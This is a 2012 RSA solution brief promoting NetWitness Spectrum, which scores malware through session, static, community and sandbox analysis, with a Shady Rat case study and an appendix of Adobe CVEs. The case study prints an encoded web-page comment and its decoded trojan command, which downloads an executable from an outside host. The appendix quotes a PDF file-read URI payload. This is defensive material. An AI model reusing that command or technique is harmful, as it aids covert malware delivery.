RSA NetWitness Spectrum Malware Analysis in the Enterprise Today In the past ten years, the malware landscape in the modern enterprise has changed. Previously the realm of jokesters and bored technologists, malware production has become an illicit money making enterprise for organized cybercriminals, and a rich source of intelligence gathering capability for nation-states. Technology advances have also contributed to the trend by helping facilitate the capabilities of malware producers. Unfortunately for defenders, information security technology has evolved along the lines of regulatory requirements, with a focus on “boxchecking”, instead of on the particulars of the organization and the specific threats that the organization might face. The end result is an environment in which attackers are outpacing defenders from an intrusion standpoint. This is accomplished by using processes and systems that systematically bypass security technologies organizations have spent millions deploying to “secure” their enterprise. As this malware landscape has grown, the “malware analyst” role has moved from antivirus and intrusion detection companies to an in-house resource at many large organizations. Malware is a constant presence in any enterprise network and having this resource at the immediate ready is no longer a nice-to-have but a requirement. Solution Brief Today’s malware analyst typically has the following skill set: –A deep understanding of common network protocols, authentication methods, and host system internals, often the result of a decade or more of system administration experience, specific advanced training and education, or incident response experience. –The ability to quickly and accurately determine the effects of malware execution on a host, often involving software reverse engineering and behavioral examination of the local host combined with the associated network activity. –The ability to communicate findings in a quick and concise manner. –Knowledge of internet resources and investigation methods in regards to malware analysis and intelligence. This complex set of skills is often an expensive commodity, which, coupled with a shortage of talent, often makes recruiting malware analysts a difficult endeavor. This realization led to the idea of taking a world-class malware analyst, using the tools and techniques they might use to investigate an incident, automate it and combine it with network intelligence from the RSA NetWitness® NextGen® framework. Called “Spectrum”, this system gives the modern enterprise a full-time “malware analyst in a box”. a bit on RSA Netwitness Spectrum RSA NetWitness Spectrum is an analytical workbench and uses a series of analysis techniques, which mimic the workflow of malware analysts, to gauge the maliciousness of an executable. Spectrum examines network sessions and scores the likelihood that these sessions contain malware. It does this by pulling sessions “of interest” from the NextGen infrastructure and performing analysis on these sessions and the files contained within them. No agent needs to be installed and the capability takes advantage of the currently deployed NextGen capture capability. The analysis of these sessions results in scores, indicating the probability that the session is malicious. Spectrum is extremely powerful at examining large amounts of sessions/files and thereby enabling security expertise to be focused on specific sessions most likely to be harmful. From a conceptual level, Spectrum monitors the packages (files) delivered to your business and helps determine the probability of harm from those packages. This probability is exposed through analysis/scoring against the following four distinct methodologies: “A whopping 99% of all stolen data involved the use of some form of hacking and malware. The wise organization will therefore identify its weaknesses with respect to malware and hacking threats and prioritize related defenses.” Verizon 2011 Investigative Response Caseload Review page 2 1. NextGen Session Analysis One area of analysis examines attributes surrounding the network session delivering the file. The basic idea is to identify the suspicious delivery of content and to leverage the content feeds in RSA NetWitness NextGen. Was I not expecting a package and someone dropped off an unmarked box in the middle of the night at my back door? 2. Static File Analysis Files are analyzed for signs of obfuscation and other indicators to help predict the likelihood of malicious behavior if a document was to be made active (opened in the targeted vulnerable application). Does this package look like it is likely to explode if I open it? 3. Security Community Analysis The security community is consulted to determine if the session involves a site flagged as a site known to deliver malware or if the file itself has been flagged. Is the package from my grandmother (who I trust), or is the package sent to me from the Unabomber (whom I don’t really trust)? 4. Sandbox Dynamic Behavioral Analysis Files in the session are dynamically analyzed to monitor their behavior in a controlled environment in order to watch for malicious behavior. If I open the package in a blast-proof room, does it explode? Spectrum displays the scored sessions and files in a tabular format as shown in Figure 1. The display allows sessions/files to easily be sorted by each score methodology in order to display which sessions/files are the most likely to be considered malicious. Figure 1 - Spectrum listing files sorted by NextGen Score Spectrum intentionally keeps the four methodologies separate from one another and does not try to collapse the analysis into one overall score. Each score methodology is legitimate on its own and one method is sometimes better than the other three methods to detect a particular piece of malware. As long as one methodology detects the malware, Spectrum is successful. The next section provides an in-depth description for each methodology and discusses why it’s imperative not to limit insight or visibility to just one. The Four Disciplines of Spectrum 1. NextGen Session Analysis Was I not expecting a package and someone dropped off an unmarked box in the middle of the night at my back door? Description The NextGen session is analyzed in an attempt to determine if anything was suspicious in how the content was delivered. This discipline focuses, not so much on the file itself but also on how the file traversed the network. Spectrum uses hundreds of data points to determine the likelihood that a session is suspicious based on attributes such as: page 3 •Was the session abnormally obfuscated (e.g., unusual port/protocol combination, downloading XOR encoded executable embedded in GIF images)? •Was the session communicating with a higher risk Top-Level Domain (TLD)? •Was the session communicating with a higher risk geographical location? •Was the referring URL for the session invalid? •Is the session tagged with any content feeds indicating a known malware feed, bad ORG/ASN, anonymous proxy server, known malware file names? The result of this analysis is a probability score from 0 – 100 for the NextGen column as shown in figure 2. Figure 2 - Probability score for the NextGen column Clicking on the NextGen column will display the underlying reasons justifying the score given to the session. These “reasons” are listed based on their level of influence on the score (high to low indicated by the arrow icon). The most influential reason driving the overall score of 100 was that the session contained an XOR encoded executable. Typically, an encoded executable is an obvious sign of malice. Drawbacks in NextGen Session Analysis When is NextGen Session Analysis not optimal? The more unusual the session, the better the scoring is of the NextGen session. As described, if communications occur between well-known malicious sites, well-known malware is downloaded or heavy communication obfuscation is being utilized, the more powerful the NextGen session analysis becomes and the higher the score. Now consider an example where two co-workers share a malicious document over email. The delivery session between the mail server and the receiving user’s machine does not involve a well-known malicious server. In fact, the opposite is true. The mail server is a trusted machine to which normal communications occurs. The only interesting attribute in this session is the document itself. If the document is obfuscated to the point where NextGen fails to generate alert meta-data, nothing in the session will be of interest to score. All other attributes of the session are typical of a normal mail session. In this scenario, the document would be better analyzed via the static scoring analysis given that it is able to spend the time to perform a deeper decode of the document and a deeper analysis for malware. page 4 2. Static File Analysis Does this package look like it is likely to explode if I open it? Description Spectrum’s static analysis of documents attempts to predict the likelihood of malicious behavior if a document was to be made active (opened in the targeted vulnerable application). Static analysis looks for techniques that are typically used by malware writers to actively exploit vulnerabilities. The malware writer expects different techniques, such as signatures, to be used and will attempt to heavily obfuscate the document in order to circumvent these techniques. Examples include obfuscation to make the document less likely to decode successfully, use filter cascades to multiple encode sections of the document, heavily obfuscate JavaScript through string manipulation (e.g., piece together an “eval()” command one byte at a time at runtime), embed Base64encoded shell code in images, among others. Since we cannot always see clearly through this obfuscation, the scoring of malice is based on finding signs of malicious activity as well as signs of highly unusual obfuscation. Because Spectrum looks for techniques used by malware authors rather than specific vulnerabilities or signatures, known and unknown malware may be found rather than just known malware. In other words, a malware author is likely to use similar techniques to exploit newly found vulnerabilities. Static analysis of documents typically involve scanning for items such as: •Abnormal signs of packing/obfuscation •Invalid digital signatures (revoked, non-trusted certificate authority, self-signed) •Heuristic analysis of the compiler and linker artifacts •Heuristic analysis of artifacts indicating country of origin •Signs of import libraries/functions typically used maliciously (e.g., to download files, to create remote threads) •Signs of shell code to dynamically load libraries via techniques such as API Hashing. •PDFs/Office documents with embedded EXEs. •PDFs/Office documents with embedded malicious scripts. The result of this analysis is a probability score from 0 – 100 for the Static column as shown in figure 3. Figure 3. Probability score for the Static column Clicking on the Static column will display the underlying reasons justifying the score given to the session. The influences listed below show the influences for a malicious PDF document. Based on the results, the PDF scored high mainly because the analysis detected heavy levels of obfuscation (hex-encoded dictionary keys, hexencoded payloads indicative of a layered shell attack) and suspicious commands (cmd.exe) being set to automatically run as the document is viewed. Based on the amount of malice found in this document, the static score spiked to 100. page 5 Drawbacks of Static Analysis When is static file analysis not optimal? As mentioned, static analysis of a file heavily relies on either interpreting what the file is likely to do if it is opened/run, or, if obfuscated, assess if the level of obfuscation is unusual. When dealing with files that are digitally signed and packed/obfuscated with commercial packers, the file appears to be typical of commercial software release by legitimate vendors. The more “commercial” a file is made to look, the less likely static analysis is to detect malice. In this scenario, the dynamic analysis becomes more important. 3. Security Community Analysis Is the package from my grandmother (whom I trust), or is the package sent to me from the Unabomber (who I don’t really trust)? Description Spectrum analyzes files and delivery mechanisms based on reaching out to the security community programmatically to determine what is known about the file, URL and servers involved in the network session. If the file/server is already known to be bad, then the community score can reflect this existing knowledge and compensate for any failure in detection in the other three disciplines. Security community analysis involves scoring based on attributes such as: •Does Virus Total Premium detect the file (by MD5/SHA-1 hash) to be known as malware by any A/V vendors? •Is the URL blacklisted via URLVoid? •Does Google report the domain in its safe browsing list? •Does Bit9 know the file to be good or bad? •Does NIST NSRL database recognize the file to be commercial software? The result of this analysis is a probability score from 0 – 100 for the Community column as shown in figure 4. Figure 4. Probability score for the Community column Clicking on the Community column will display the underlying reasons justifying the score given to the session. The influence listed below indicates that the file being sampled was recognized by 13 of 16 “primary” vendors to be known malware. Based on the level of recognition by well-respected A/V vendors, the score spikes to 100 to reflect the security knowledge already in place. page 6 Drawbacks in Security Community Analysis When is security community analysis not optimal? When malware is already known and catalogued by primary A/V vendors (vendors wellrespected in the industry), a high level of confidence is associated with the scoring of the malware for the community section. However, when dealing with newly released or newly modified malware (e.g., via toolkits allowing existing malware to be easily customized), community scoring will not reflect knowledge of this kind of malware. A certain amount of delay exists between the release of a piece of malware and its detection, recognition and cataloging in A/V products. Regardless of if this delay is represented in hours, days, weeks or months, it exists and during that period, security community knowledge is nonexistent. Likewise, community score many malware distributors leverage benign sites for distribution of malware. In these scenarios, the community score will be zero and the other three areas become more important in their detection. 4. Sandbox Dynamic Behavioral Analysis If I open the package in a blast-proof room, does it explode? Description Dynamic analysis requires running a sample for a predetermined length of time in a controlled environment and examining its behavior. If you can run a sample and score anything that appears abnormal/malicious, you can reasonably determine the probability that a sample is malicious. Running these samples in a controlled environment typically involves a sandbox with agents that are capable of reverting back to a known good state as each sample analysis is completed. This is typically done using products such as Faronics Deep Freeze, that protect the underlying environment from permanent changes, or products such as VMware, which virtualize an environment and can roll back to a snapshot prior to analysis. Furthermore, the sandbox must provide the flexibility to mimic the systems running in the environment. For example, an analyst isn’t going to be as concerned about a piece of malware exploiting a vulnerability in Microsoft Office 2003 if they are running Office 2010. Once the sandbox has provided an audit trail of the sample’s activity, Spectrum scores the sample to determine its probability of malice. Scoring dynamic activity utilizes hundreds of data points in an effort to distinguish normal activity from malicious. This scoring involves examining the activity for items such as: –Is software being installed on the computer? –Is software being installed in unusual locations or using slight variations of existing program names (e.g., scvhost.exe vs. svchost.exe vs. svchost.dll)? –Are well-known programs being overwritten (e.g., overlay svchost.exe)? –Are services being created, stopped, deleted, modified, or started? –Are any of the auto-start locations being modified? Which ones? How unusual are the locations (e.g., autoexec.bat vs. HKLM/…/Windows/CurrentVersion/Run)? –Are there signs of injecting new threads in running processes? –Are there signs of unusual network activity (e.g., IRC, SMTP, unusual number of connections)? –Are there signs of opening new “listening” network ports? –Is security of the machine being weakened (e.g., firewall disabled, firewall exceptions, etc)? page 7 The result of this analysis is a probability score from 0 – 100 for the Sandbox column as shown in figure 5. Figure 5. Probability score for the Sandbox column. Clicking on the Sandbox column will display the underlying reasons justifying the score given to the session. From the list of influences below, the sample appeared to make unusual references to existing services on the machine (Remote Access Connection Manager RASMAN). The sample also made several outbound network connections and installed a new program (winver32.exe) and a new batch file (DelUS.bat). The new program and batch file were created in the root folder (very unusual location for legitimate software). This type of activity was abnormal enough to force the sandbox score to a high value (100). Drawbacks in Dynamic Behavioral Analysis When is dynamic behavioral analysis not optimal? In theory, dynamic analysis should be even easier and more accurate than static analysis. The idea of watching the actual behavior of a sample rather than trying to predict its behavior seems like a great idea. And when a sample misbehaves, no other technique is more accurate. The challenge with dynamic analysis is that malware authors can choose to skew their actions such that their malicious behavior is not clear (e.g., wait an hour, day, week after being started before executing malicious behavior, require a reboot and perform most malice after the reboot, detect that it is being monitored and avoid malicious activity). When dealing with documents (rather than PEs), the challenge with dynamic analysis is even greater. The deeper the underlying supporting software stack, the more challenging it is to provide an environment for the malware to be successful. The issues above still exist, but now you also have to exactly match the vulnerability being targeted. In other words, if a PDF has malicious code within it to target vulnerabilities in Adobe Reader 8.1.1 on M/S Windows, then it only has a chance to misbehave if the proper Adobe Reader version is running in a M/S Windows sandbox agent. If the installed application version is wrong (not vulnerable), then Spectrum will have a high static score for this document and a score of zero in the sandbox. page 8 As a rule of thumb, running older versions of Adobe/MS Office than are currently deployed in a given enterprise environment will tell the user if a file submission is malicious. Running the identical version of Adobe/Office deployed in the enterprise environment will provide Sandbox results indicative of whether or not the environment is vulnerable to the threat. An additional challenge in dynamically analyzing documents is presented when the document requires user interaction. If the user is prompted with a benign looking prompt, they may be likely to click on it and allow the malware to continue its processing. In a sandbox environment, the prompt may stall the process and not continue unless the sandbox agent can automatically respond (in the proper manner) and simulate the desired user response. Unless this happens, activity sampling may be greatly reduced such that the true malice is not caught in the dynamic analysis. Additional Adobe PDF challenges are described in the appendix. Example of Spectrum’s Analyses in Action ON APT – Catching Rats, Dragons and Titans An intrusion set discovered late summer of 2011 named “Shady Rat”, provides a great example on the utility of Spectrum. This particular discovery documents a string of intrusions over a multi-year period into a number of companies and organizations, most of which appears to support U.S. Government interests. RSA believes this to be an APTstyle attack that persists today. While attribution to a certain far eastern nation-state has been thrown back and forth by various vendors, rather than focus on “whodunit”, we chose to take a closer look at the malware itself to see how it looks to Spectrum. One of the most interesting parts of the work at RSA is tracking bad guys, the tools they use and how we are best able to detect them in action. It’s a never-ending fight, and one taken very seriously. With this in mind, RSA collected a number of malware samples that were believed to be involved in the “Shady Rat” compromise. As detailed in other blog posts on the Internet, these specimens use a novel approach to disguise basic command and control traffic. The basic intrusion sequence occurs in this way: 1.The intruder does research on his target in advance, determining a social engineering attack vector. 2.The intruder compromises a website on the internet, so that he can change web pages on the site. 3.The intruder crafts an attack email, using his research to make it believable, and includes a Trojanized document, typically a PDF or Office document. 4.When the victim opens this document, the exploit code installs a very basic downloader. 5.This downloader checks into the compromised website, and looks for commands placed on the compromised website 6.These commands are disguised to look like webpage source code comments, but encoded so they are illegible to a casual observer. Here is an example of how this looks in the wild. The compromised website will contain a comment that looks like: <!-- ZDpodHRwOi8vd3d3LmJweW95by5jb20vd2Qvc2FtZ3IuZXhl --> page 9 But when downloaded and decoded by the Trojan, it is actually a command: < !-- d:http://www.bpyoyo.com/wd/samgr.exe --> And in this case, tells the Trojan to download additional malware. This sequence allows the attacker to get a foothold inside a network, retain it, and download additional tools, so he can move laterally into other areas inside his target’s network to locate and exfiltrate data. As discussed in the NextGen analysis technique, Spectrum is specifically focused on using the NextGen framework to pull executables off the network and analyze them, but it also has the capability for an analyst to upload an executable manually for analysis. We used this technique to feed the Shady Rat samples to Spectrum to see the results. Shady Rat, Meet Spectrum! The initial Spectrum analysis involved collecting samples believed to be related to Shady Rat. Figure 6 shows an overview of the results. Figure 6. Results of samples related to Shady Rat. You see that all samples have scored very far into the “malicious” rating index. They stand out strongly as malware. Specifically the averages are as follows: Static Analysis – 71 Community Analysis – 100 Sandbox – 86 In this case, we don’t see any NextGen results because this was a manual upload as opposed to real-time traffic analysis, but in the event that this had traversed a network, there would be additional scores in the NextGen column. Looking Closer - Top Influences During the design of Spectrum, a lot of time was spent profiling malicious and nonmalicious executables to provide insight into characteristics that raise the potential that an executable is being used maliciously. Figure 7 shows a sample which exhibited characteristics that were the top contributors to the high “malicious” scores. Figure 7. Characteristics contributing to high “malicious” scores page 10 Synopsis –The malware had a match by hash on VirusTotal, but only one tier-1 AV vendor and this alert is very nebulous and generic. –The malware weakened security on the infected computer according to Spectrum’s runtime analysis. –Size characteristics of the binary are in line with those seen in malware. –The malware contained calls to programming functions that indicate beacon activity. –When executed in the sandbox, the malware called out to locations on the Internet. –The malware created an autostart entry in the registry to ensure that it started after a computer restart and remained resident. –The malware was stripped of information commonly found in legitimate executables. Looking Deeper – On Antivirus Detection In the Security Community analysis technique, all samples had a detection by at least one antivirus vendor, and most were very well detected. What’s interesting is who did not detect a subset of samples. See Figure 8 . Figure 8. Samples left undetected. This sample had a low detection rate across the industry, but what is most interesting is that what we would consider “Tier 1” vendors, Symantec, Trend and Microsoft, did not detect this sample. The Next Step It was mentioned earlier that Spectrum is deployed as part of the RSA NetWitness NextGen Infrastructure. The capability doesn’t require agents and can pull directly from the network capture in place. Key benefits of this include both providing the option to leverage a current deployment and providing the next step in analysis into an attack. Having the full set of captured network traffic accessible (both including the specific session which triggered in Spectrum as well as all captured data around the session), provides the capability for taking the next step to determine full context around an event. Not only is an analyst able to determine what happened but also, and sometimes more importantly, what else happened. page 11 In Closing Relying on one detection discipline is prone to failure. The goal with Spectrum is to take the workflow of an expert malware analyst and automate it in a box. The strength of Spectrum is in its impartial view of analysis through four independent scoring methodologies. These independent scores are never forced into an overall score which could result in one methodology being diluted by the other three. There are too many real world examples where one methodology is better than the other three for any given sample being analyzed. No single analysis technique is always better than the other three. While antivirus will continue to be useful as one line of defense in the defender’s toolbox, it remains clear that organizations need enhanced and rapid visibility into today’s attacks that transcend traditional defensive techniques. page 12 APPENDIX Currently, Adobe allows a user to download either Adobe Reader 8.3 or Adobe Reader 9.4 (unless you track down a back-dated version from a stale link). Below is a representative list of attacks that would likely be encountered in PDFs by referencing MITRE’s CVE library (see table). Using this list and their documented versions of which applications are vulnerable to each CVE entry, a percentage likelihood was created of seeing activity using the two currently available Adobe Readers: – Adobe Reader 8.3 (1/44 = 2.2%) – Adobe Reader 9.4: (0/44 = 0%) This is not very scientific, but it gets the point across. In the sandbox, we have to choose one version of each application, which we think is the most likely to be exploited. We could try to find Adobe 8.1 and our percentages would go up from the numbers listed. Regardless of which application versions chosen for the sandbox, there will always be examples of malware which score high statically and low dynamically. In fact, that is the strength of RSA’s scoring methodology in Spectrum. For any given sample, one area may be better than the other three in identifying the malware. RSA doesn’t care which area finds it as long as one does. Description CVE Adobe Reader and Acrobat Trial allow remote attackers to read arbitrary files via a file:// URI in a PDF document, as demonstrated with <</URI(file:///C:/)/S/URI>>, a different issue than CVE-2007-0045. CVE-2007-1199 Multiple buffer overflows in Adobe Reader and Acrobat 8.1.1 and earlier allow remote attackers to execute arbitrary code via a PDF file with long arguments to unspecified JavaScript methods. NOTE: this issue might be subsumed by CVE-2008-0655. CVE-2007-5659 Adobe Reader and Acrobat 8.1.1 and earlier allows remote attackers to execute arbitrary code via a crafted PDF file that calls an insecure JavaScript method in the EScript.api plug-in. NOTE: this issue might be subsumed by CVE-2008-0655. CVE-2007-5663 Untrusted search path vulnerability in Adobe Reader and Acrobat 8.1.1 and earlier allows local users to execute arbitrary code via a malicious Security Provider library in the reader’s current working directory. NOTE: this issue might be subsumed by CVE-2008-0655 CVE-2007-5666 Multiple unspecified vulnerabilities in Adobe Reader and Acrobat before 8.1.2 have unknown impact and attack vectors. CVE-2008-0655 The DOC.print function in the Adobe JavaScript API, as used by Adobe Acrobat and Reader before 8.1.2, CVE-2008-0667 allows remote attackers to configure silent non-interactive printing, and trigger the printing of an arbitrary number of copies of a document. NOTE: this issue might be subsumed by CVE-2008-0655 Integer overflow in Adobe Reader and Acrobat 8.1.1 and earlier allows remote attackers to execute arbitrary code via crafted arguments to the printSepsWithParams, which triggers memory corruption. CVE-2008-0726 Stack-based buffer overflow in Adobe Acrobat and Reader 8.1.2 and earlier allows remote attackers to execute arbitrary code via a PDF file that calls the util.printf JavaScript function with a crafted format string argument, a related issue to CVE-2008-1104. CVE-2008-2992 Buffer overflow in Adobe Reader 9.0 and earlier, and Acrobat 9.0 and earlier, allows remote attackers to execute arbitrary code via a crafted PDF document, related to a non-JavaScript function call and possibly an embedded JBIG2 image stream, as exploited in the wild in February 2009 by Trojan.Pidief.E. CVE-2009-0658 page 13 Description CVE Stack-based buffer overflow in Adobe Reader and Adobe Acrobat 9 before 9.1, 8 before 8.1.3 , and 7 before 7.1.1 allows remote attackers to execute arbitrary code via a crafted argument to the getIcon method of a Collab object, a different vulnerability than CVE-2009-0658. CVE-2009-0927 Unspecified vulnerability in Adobe Reader and Acrobat 9.x through 9.1.2, and Adobe Flash Player 9.x through 9.0.159.0 and 10.x through 10.0.22.87, allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via (1) a crafted Flash application in a .pdf file or (2) a crafted .swf file, related to authplay.dll, as exploited in the wild in July 2009. CVE-2009-1862 Unspecified vulnerability in Adobe Flash Player before 9.0.246.0 and 10.x before 10.0.32.18, and Adobe AIR before 1.5.2, allows attackers to cause a denial of service (application crash) or possibly execute arbitrary code via unknown vectors, related to a “privilege escalation vulnerability.” CVE-2009-1863 Heap-based buffer overflow in Adobe Flash Player before 9.0.246.0 and 10.x before 10.0.32.18, and Adobe AIR before 1.5.2, allows attackers to cause a denial of service (application crash) or possibly execute arbitrary code via unspecified vectors. CVE-2009-1864 Adobe Flash Player before 9.0.246.0 and 10.x before 10.0.32.18, and Adobe AIR before 1.5.2, allows attackers to cause a denial of service (application crash) or possibly execute arbitrary code via unspecified vectors, related to a “null pointer vulnerability.” CVE-2009-1865 Stack-based buffer overflow in Adobe Flash Player before 9.0.246.0 and 10.x before 10.0.32.18, and Adobe AIR before 1.5.2, allows attackers to cause a denial of service (application crash) or possibly execute arbitrary code via unspecified vectors. CVE-2009-1866 Adobe Flash Player before 9.0.246.0 and 10.x before 10.0.32.18, and Adobe AIR before 1.5.2, allows attackers to trick a user into (1) selecting a link or (2) completing a dialog, related to a “clickjacking vulnerability.” CVE-2009-1867 Heap-based buffer overflow in Adobe Flash Player before 9.0.246.0 and 10.x before 10.0.32.18, and Adobe AIR before 1.5.2, allows attackers to cause a denial of service (application crash) or possibly execute arbitrary code via unspecified vectors involving URL parsing. CVE-2009-1868 Integer overflow in the ActionScript Virtual Machine 2 (AVM2) abcFile parser in Adobe Flash Player before 9.0.246.0 and 10.x before 10.0.32.18, and Adobe AIR before 1.5.2, allows attackers to cause a denial of service (application crash) or possibly execute arbitrary code via an AVM2 file with a large intrf_count value that triggers a dereference of an out-of-bounds pointer. CVE-2009-1869 Adobe Flash Player before 9.0.246.0 and 10.x before 10.0.32.18, and Adobe AIR before 1.5.2, allows attackers to obtain sensitive information via vectors involving saving an SWF file to a hard drive, related to a “local sandbox vulnerability.” CVE-2009-1870 Adobe Reader and Acrobat 9.x before 9.3, and 8.x before 8.2 on Windows and Mac OS X, might allow attackers to cause a denial of service (NULL pointer dereference) via unspecified vectors CVE-2009-3957 Use-after-free vulnerability in the Doc.media.newPlayer method in Multimedia.api in Adobe Reader and Acrobat 9.x before 9.3, and 8.x before 8.2 on Windows and Mac OS X, allows remote attackers to execute arbitrary code via a crafted PDF file using ZLib compressed streams, as exploited in the wild in December 2009. CVE-2009-4324 Unspecified vulnerability in Adobe Reader and Acrobat 8.x before 8.2.1 and 9.x before 9.3.1 allows attackers to cause a denial of service (application crash) or possibly execute arbitrary code via unknown vectors. CVE-2010-0188 Adobe Flash Player before 9.0.277.0 and 10.x before 10.1.53.64; Adobe AIR before 2.0.2.12610; and Adobe Reader and Acrobat 9.x before 9.3.3, and 8.x before 8.2.3 on Windows and Mac OS X, allow remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via crafted SWF content, related to authplay.dll and the ActionScript Virtual Machine 2 (AVM2) newfunction instruction, as exploited in the wild in June 2010. CVE-2010-1297 page 14 Description CVE Stack-based buffer overflow in CoolType.dll in Adobe Reader and Acrobat 9.x before 9.4, and 8.x before 8.2.5 on Windows and Mac OSX, allows remote attackers to execute arbitrary code or cause a denial of service (application crash) via a PDF document with a long field in a Smart INdependent Glyphlets (SING) table in a TTF font, as exploited in the wild in September 2010. NOTE: some of these details are obtained from third party information. CVE-2010-2883 Adobe Flash Player 10.1.82.76 and earlier on Windows, Mac OS X, Linux, and Solaris and 10.1.92.10 on Android; authplay.dll in Adobe Reader and Acrobat 9.x before 9.4; and authplay.dll in Adobe Reader and Acrobat 8.x before 8.2.5 on Windows and Mac OS X allow remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via unspecified vectors, as exploited in the wild in September 2010. CVE-2010-2884 Multiple unspecified vulnerabilities in Adobe Reader and Acrobat 9.x before 9.4 on Linux allow attackers to gain privileges via unknown vectors. CVE-2010-2887 Unspecified vulnerability in Adobe Reader and Acrobat 9.x before 9.4, and 8.x before 8.2.5 on Windows and Mac OS X, allows attackers to execute arbitrary code via a crafted font, a different vulnerability than CVE-2010-3626. CVE-2010-2889 CVE-2010-2890 Adobe Reader and Acrobat 9.x before 9.4, and 8.x before 8.2.5 on Windows and Mac OS X, allow attackers to execute arbitrary code or cause a denial of service (memory corruption) via unspecified vectors, a different vulnerability than CVE-2010-3619, CVE-2010-3621, CVE-2010-3622, CVE-2010-3628, CVE-2010-3632, and CVE-2010-3658 CVE-2010-3619 Adobe Reader and Acrobat 9.x before 9.4, and 8.x before 8.2.5 on Windows and Mac OS X, allow attackers to execute arbitrary code or cause a denial of service (memory corruption) via unspecified vectors, a different vulnerability than CVE-2010-2890, CVE-2010-3621, CVE-2010-3622, CVE-2010-3628, CVE-2010-3632, and CVE-2010-3658. Unspecified vulnerability in Adobe Reader and Acrobat 9.x before 9.4, and 8.x before 8.2.5 on Windows CVE-2010-3620 and Mac OS X, allows attackers to execute arbitrary code via a crafted image, a different vulnerability than CVE-2010-3629. CVE-2010-3621 Adobe Reader and Acrobat 9.x before 9.4, and 8.x before 8.2.5 on Windows and Mac OS X, allow attackers to execute arbitrary code or cause a denial of service (memory corruption) via unspecified vectors, a different vulnerability than CVE-2010-2890, CVE-2010-3619, CVE-2010-3622, CVE-2010-3628, CVE-2010-3632, and CVE-2010-3658 CVE-2010-3622 Adobe Reader and Acrobat 9.x before 9.4, and 8.x before 8.2.5 on Windows and Mac OS X, allow attackers to execute arbitrary code or cause a denial of service (memory corruption) via unspecified vectors, a different vulnerability than CVE-2010-2890, CVE-2010-3619, CVE-2010-3621, CVE-2010-3628, CVE-2010-3632, and CVE-2010-3658 Adobe Reader and Acrobat 9.x before 9.4, and 8.x before 8.2.5 on Windows and Mac OS X, allow attackers to execute arbitrary code via unspecified vectors, related to a “prefix protocol handler vulnerability.” CVE-2010-3625 Unspecified vulnerability in Adobe Reader and Acrobat 9.x before 9.4, and 8.x before 8.2.5 on Windows and Mac OS X, allows attackers to execute arbitrary code via a crafted font, a different vulnerability than CVE-2010-2889 CVE-2010-3626 Unspecified vulnerability in Adobe Reader and Acrobat 9.x before 9.4, and 8.x before 8.2.5 on Windows and Mac OS X, allows attackers to execute arbitrary code via unknown vectors CVE-2010-3627 CVE-2010-3628 Adobe Reader and Acrobat 9.x before 9.4, and 8.x before 8.2.5 on Windows and Mac OS X, allow attackers to execute arbitrary code or cause a denial of service (memory corruption) via unspecified vectors, a different vulnerability than CVE-2010-2890, CVE-2010-3619, CVE-2010-3621, CVE-2010-3622, CVE-2010-3632, and CVE-2010-3658 CVE-2010-3629 Unspecified vulnerability in Adobe Reader and Acrobat 9.x before 9.4, and 8.x before 8.2.5 on Windows and Mac OS X, allows attackers to execute arbitrary code via a crafted image, a different vulnerability than CVE-2010-3620. page 15 Description CVE Unspecified vulnerability in Adobe Reader and Acrobat 9.x before 9.4, and 8.x before 8.2.5 on Windows and Mac OS X, allows attackers to cause a denial of service or possibly execute arbitrary code via unknown vectors. CVE-2010-3630 CVE-2010-3632 Adobe Reader and Acrobat 9.x before 9.4, and 8.x before 8.2.5 on Windows and Mac OS X, allow attackers to execute arbitrary code or cause a denial of service (memory corruption) via unspecified vectors, a different vulnerability than CVE-2010-2890, CVE-2010-3619, CVE-2010-3621, CVE-2010-3622, CVE-2010-3628, and CVE-2010-3658 Adobe Flash Player before 9.0.289.0 and 10.x before 10.1.102.64 on Windows, Mac OS X, Linux, and Solaris and 10.1.95.1 on Android, and authplay.dll (aka AuthPlayLib.bundle or libauthplay.so.0.0.0) in Adobe Reader and Acrobat 9.x through 9.4, allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via crafted SWF content, as exploited in the wild in October 2010 CVE-2010-3654 Unspecified vulnerability in Adobe Reader and Acrobat 9.x before 9.4, and 8.x before 8.2.5 on Windows and Mac OS X, allows attackers to cause a denial of service via unknown vectors, a different vulnerability than CVE-2010-3657. CVE-2010-3656 Unspecified vulnerability in Adobe Reader and Acrobat 9.x before 9.4, and 8.x before 8.2.5 on Windows and Mac OS X, allows attackers to cause a denial of service via unknown vectors, a different vulnerability than CVE-2010-3656 CVE-2010-3657 CVE-2010-3658 Adobe Reader and Acrobat 9.x before 9.4, and 8.x before 8.2.5 on Windows and Mac OS X, allow attackers to execute arbitrary code or cause a denial of service (memory corruption) via unspecified vectors, a different vulnerability than CVE-2010-2890, CVE-2010-3619, CVE-2010-3621, CVE-2010-3622, CVE-2010-3628, and CVE-2010-3632 The EScript.api plugin in Adobe Reader and Acrobat 10.x before 10.0.1, 9.x before 9.4.1, and 8.x before 8.2.6 on Windows and Mac OS X allows remote attackers to execute arbitrary code or cause a denial of service (application crash) via a crafted PDF document that triggers memory corruption, involving the printSeps function. NOTE: some of these details are obtained from third party information CVE-2010-4091 About RSA RSA, The Security Division of EMC, is the premier provider of security, risk and compliance management solutions for business acceleration. RSA helps organizations solve their most complex and sensitive security challenges by bringing visibility and trust to millions of user identities, the transactions they perform and the data that is generated. RSA delivers identity assurance, encryption & key management, SIEM, Data Loss Prevention, Continuous Network Monitoring, and Fraud Protection with industry leading eGRC capabilities and robust consulting services. www.RSA.com EMC2, EMC, the EMC logo, RSA, NetWitness, and the RSA logo are registered trademarks or trademarks of EMC Corporation in the United States and other countries. All other products or services mentioned are trademarks of their respective companies. © Copyright 2012 EMC Corporation. All rights reserved. Published in the USA. www.rsa.com h9088-netspec-sb-0212